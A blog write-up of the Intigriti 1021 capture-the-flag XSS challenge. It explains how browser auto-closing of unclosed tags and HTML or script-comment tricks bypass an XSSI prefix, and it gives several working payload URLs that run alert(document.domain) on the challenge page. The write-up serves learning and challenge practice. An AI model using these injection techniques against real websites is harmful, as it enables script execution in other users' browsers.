Laurens van der Blom
Laurens van der Blom

Software architect. Security professional (CISSP). Fitness/bootcamp guru. Obstacle runner. Ski lunatic.



Write-Up: Intigriti Challenge 1021

Published: Thursday, November 4, 2021
Word count: 1970. Estimated reading time: 10 minutes.
Share:

Introduction

On Intigriti there was a challenge (duly called Intigriti Challenge 1021) of finding an XSS vulnerability on a specially crafted webpage. I’m not a JavaScript expert, but I managed to find the solution after some tinkering around. So in this short write-up I’ll provide my thoughts regarding this challenge and guide you through the solution. It was fun to do and in the process I learned some new things, especially when it comes to the (so to speak) browsers' auto-completion functionality for unclosed HTML tags and, apparently, an effective way to prevent XSSI (Cross-Site Script Inclusion).

Step 1: Learn about the functionality

Basically, I’ve always taken the approach to divide and conquer when analysing a problem: divide it into smaller parts that allow you to solve the problem. In this case, it’s important to see what kind of functionality the webpage offers. As it turns out, it’s rather limited.

First of all, the challenge is embedded in an iFrame on the webpage, so it’s easier to go to the webpage to which the iFrame is referring, which is https://challenge-1021.intigriti.io/challenge/challenge.php. This allows you to focus on this webpage only, where the XSS vulnerability is supposed to be. As I figured out during the process, it also allows you to easily debug the webpage using the browser tools, in particular the JavaScript console and the Inspector.

Next, when looking at the webpage, a hint has already been given, namely the fact that it takes an URL parameter called html. By simply entering some text as its value, it is immediately clear that it replaces all of the default text with your own text. Apparently, this is server-side functionality that is provided by this webpage. The name of the URL parameter also gives away that it’s possible to enter some HTML, which, considering the fact that this is a challenge, indicates that input sanitisation is missing. So that’s going to be the first attack vector.

So as the next step, I used <em>test</em> as value for the html URL parameter and the text indeed becomes cursive. Take note that other styling is also being applied, as it still looks like a specific heading in the orange colour. So, there is more going on. As there are no other fields for user input, I figured I’d take a closer look at the HTML source code. After all, XSS is client-side, so there must be something else that allows us to exploit the XSS vulnerability.

When analysing the HTML source code, it’s important not to get distracted by rabbit holes. XSS can only be achieved with JavaScript, so it’s necessary to only look at JavaScript related code. That is, any included scripts, inline scripts and embedded scripts. But even then, it is important to recognise which scripts are relevant and which are not. The following portion of JavaScript code drew my attention:

<script nonce="89b6c940408842a26b925dd3455b3dba">document.getElementById('lock').onclick = () => {document.getElementById('lock').classList.toggle('unlocked');}</script>
<script nonce="89b6c940408842a26b925dd3455b3dba">
    window.addEventListener("DOMContentLoaded", function () {
        e = `)]}'` + new URL(location.href).searchParams.get("xss");
        c = document.getElementById("body").lastElementChild;
        if (c.id === "intigriti") {
            l = c.lastElementChild;
            i = l.innerHTML.trim();
            f = i.substr(i.length - 4);
            e = f + e;
        }
        let s = document.createElement("script");
        s.type = "text/javascript";
        s.appendChild(document.createTextNode(e));
        document.body.appendChild(s);
    });
</script>

After recognising that the first script tag basically does nothing useful, three things become clear:

  1. After the DOM has loaded, a piece of JavaScript code is generated and inserted before the end of the HTML body element.
  2. The contents of this JavaScript code depend on some conditions:
    • It takes the last four characters of the HTML code contained within the last child of the HTML element with the ID intigriti.
    • That piece of text is prepended to some fixed text, but it ends with the value of the xss parameter, which is the obvious second attack vector.
  3. In both cases, there is no input sanitisation.

So the question is: How can the JavaScript code alert(document.domain) be executed, as per the requirements of the challenge, in this piece of generated JavaScript code that is controlled by user input?

It was not immediately obvious why, but a little bit lower in the HTML source code there is also some standard HTML code separated with <!-- !!! --> blocks. That was a bit out of place. Intigriti then, after some time, provided two hints ( #1 and #2) as well on their Twitter account.

Those hints made very clear that the XSS vulnerability lies in how browsers handle unclosed HTML tags as well as in commenting out HTML code, which also makes it clear why those <!-- !!! --> blocks were present. They were there to prevent further commenting out the rest of the HTML code, because nested HTML comments are not allowed. Using HTML comments could be the third attack vector.

Finally, another thing became clear as well: The piece of JavaScript code that looks for the last child of the body element would never be fully executed (that is, the c.id === "intigriti" condition is never fulfilled), because in the HTML source code there is a <div class="a">'"</div> block that is always the last child of the body element. There must be some trick to it to bypass that.

Step 2: Learn about HTML and JavaScript processing

I had to learn about how browsers process HTML elements and unclosed tags. There were two ways I could go about it: 1) read the official specifications; or 2) just have fun experimenting. Searching on Google also helped getting insights into how some specific things work in HTML and JavaScript. In particular, I found the following two information sources that were interesting:

  1. https://stackoverflow.com/questions/442786/are-nested-html-comments-possible: The second tweet by Intigriti already made it clear that, just like with SQL Injection, <!-- must be added at the end of the html URL parameter in order to achieve the goal, but it was not yet clear how that would help at first. As it turns out later on, it’s connected to how the browser handles unclosed HTML tags.
  2. https://stackoverflow.com/questions/6672322/anti-xss-protection-by-adding-before-ajax-response: In the above JavaScript code a fixed text )]}' is added before the value of the xss URL parameter. I found that weird, but apparently that is a countermeasure against executing arbitrary JavaScript code if it’s part of user input, which is exactly the case here. This StackOverflow thread confirms that. It’s a countermeasure against the so-called Cross-Site Script Inclusion (XSSI). Now, it was a matter of bypassing it in some way.

There is nothing better than learning by doing, so instead of reading the specifications I went ahead and tried out some things with the knowledge I’ve gained so far.

Step 3: Start exploiting!

First, in order to do some things properly, I had to close the opening HTML tags first that would allow proper HTML processing from that point onwards with my own HTML code. I used test</h1> as the value for the html URL parameter. That generates the webpage properly as follows:

<div id="html" class="text"><h1 class="light">test</h1></div>

In the Inspector of the browser tools, the automatically generated JavaScript code was visible and contained the following:

<script type="text/javascript">)]}'null</script>

null refers to the fact that I did not provide the xss URL parameter, so the corresponding JavaScript code that generates the new JavaScript code has nothing to work with.

Now, the next step would be to insert an HTML element with the ID intigriti, so I did that with the following URL (which the browser fortunately automatically encodes when copying and pasting, so that saves some time, but obviously it must be fully URL encoded):

https://challenge-1021.intigriti.io/challenge/challenge.php?html=</h1></div><div id="intigriti">

This results in the following HTML code:

<div id="html" class="text"><h1 class="light"></h1></div><div id="intigriti"></div>

That, however, did not change the generated JavaScript code. It became clear now how commenting out the HTML code helps here: Because the last div tag is closed properly, the <div class="a">'"</div> block remains the last child of the body element. This is where HTML processing regarding unclosed HTML tags by the browser comes into play. By extending the URL as follows:

 https://challenge-1021.intigriti.io/challenge/challenge.php?html=</h1></div><div id="intigriti"><!--

the JavaScript code suddenly became as follows:

<script type="text/javascript">pan>)]}'null</script>

Which is what we are looking for. The c.id === "intigriti" condition is now fulfilled. Apparently, pan> is from the last four characters in the InnerHTML of the last child of the div element with the ID intigriti. This can be viewed by introspecting the i and f variables in the JavaScript console. The end result is stored in the e variable, which is the actual JavaScript code. The reason that is happening, is because the browser is automatically closing unclosed HTML tags, which depends on some specific rules regarding displaying/rendering the HTML elements. HTML tags can namely be block-level or inline and the behaviour of the browser changes on specific combinations of them. In this case, the div element with the ID intigriti is closed automatically at the end of its contents. It could work with an a element, but only if the child element is block-level: then the a element is closed after its contents as well, otherwise it is not. I figured it would be a nice challenge to see how short the URL could be, but I found that some people were already ahead of me, so I left it to them.

Now, the next step is to replace null with valid JavaScript code. But it would never execute anyway, because of the )]}' prefix. After some tinkering around, I found that it is apparently allowed to use special characters in HTML tags. Once I found that out, it was easy. I used the following URL, now with the xss URL parameter:

https://challenge-1021.intigriti.io/challenge/challenge.php?html=test</h1></div><div id="intigriti"><div><a='><!--&xss=;alert(document.domain)

This results in the following HTML code (formatted for readability, although it breaks a little bit due to the quotation mark):

<div id="html" class="text">
	<h1 class="light">test</h1>
</div>
<div id="intigriti">
    <div>
        <a='>
			<!--</div>
			<!-- !!! -->
			<div class="a">'"</div>

			<div id="container">
				<span>I</span>
				<span id="extra-flicker">N</span>
				<span>T</span>
				<span>I</span>
				<div id="broken">
					<span id="y">G</span>
				</div>
				<span>R</span>
				<div id="broken">
					<span id="y">I</span>
				</div>
				<span>T</span>
				<span>I</span>
			</div>
		</a='>
	</div>
</div>
<script type="text/javascript">a='>)]}';alert(document.domain)</script>

Basically, I turned the )]} prefix into a JavaScript variable, which allowed proper execution of the JavaScript code that came afterward, which concludes the solution with a pop-up dialog that contains the domain of the web page, proving the exploitability of the XSS vulnerability.

However, when I was reading the StackOverflow thread regarding nested HTML comments, I noticed something interesting, namely that it is also possible to comment out HTML using the script tag, which also leans on the browser’s auto-completion functionality for unclosed HTML tags (it also closes the script tag automatically). So, instead of the above solution, I went ahead and used this one:

https://challenge-1021.intigriti.io/challenge/challenge.php?html=test</h1></div><div id="intigriti"><div><a='><script>/*&xss=;alert(document.domain)

This results in the following HTML code (formatted for readability, although it does not properly show the JavaScript comment in a different colour):

<div id="html" class="text">
    <h1 class="light">test</h1>
</div>
<div id="intigriti">
    <div>
        <a='>
            <script>
                /*</div>
                <!-- !!! -->
                <div class="a">'"</div>
                </body>
                <div id="container">
                    <span>I</span>
                    <span id="extra-flicker">N</span>
                    <span>T</span>
                    <span>I</span>
                    <div id="broken">
                        <span id="y">G</span>
                    </div>
                    <span>R</span>
                    <div id="broken">
                        <span id="y">I</span>
                    </div>
                    <span>T</span>
                    <span>I</span>
                </div>
                </html>
            </script>
        </a='>
    </div>
</div>
<script type="text/javascript">a='>)]}';alert(document.domain)</script>

This also results in the same pop-up with the webpage’s domain as shown in the following figure:

Screenshot of the XSS vulnerability exploit

Figure 1: Screenshot of the XSS vulnerability exploit

I didn’t think it would work at first, because of the Content Security Policy that is applied, where only JavaScript code with a specific nonce (which is newly generated upon every page refresh) is executed and there is no unsafe-inline present in the CSP’s script-src attribute either, which would allow this sort of thing. I’m not able to execute JavaScript code this way, but apparently it does allow comments.

Both variants of the solution work in Chrome and Firefox, as per the challenge’s requirements.

This concludes this write-up. I left the challenge of shortening the URL as much as possible to others, but here is my quick take on it:

https://challenge-1021.intigriti.io/challenge/challenge.php?html=</div><ul id="intigriti"><dd><a='><!--&xss=;alert(document.domain)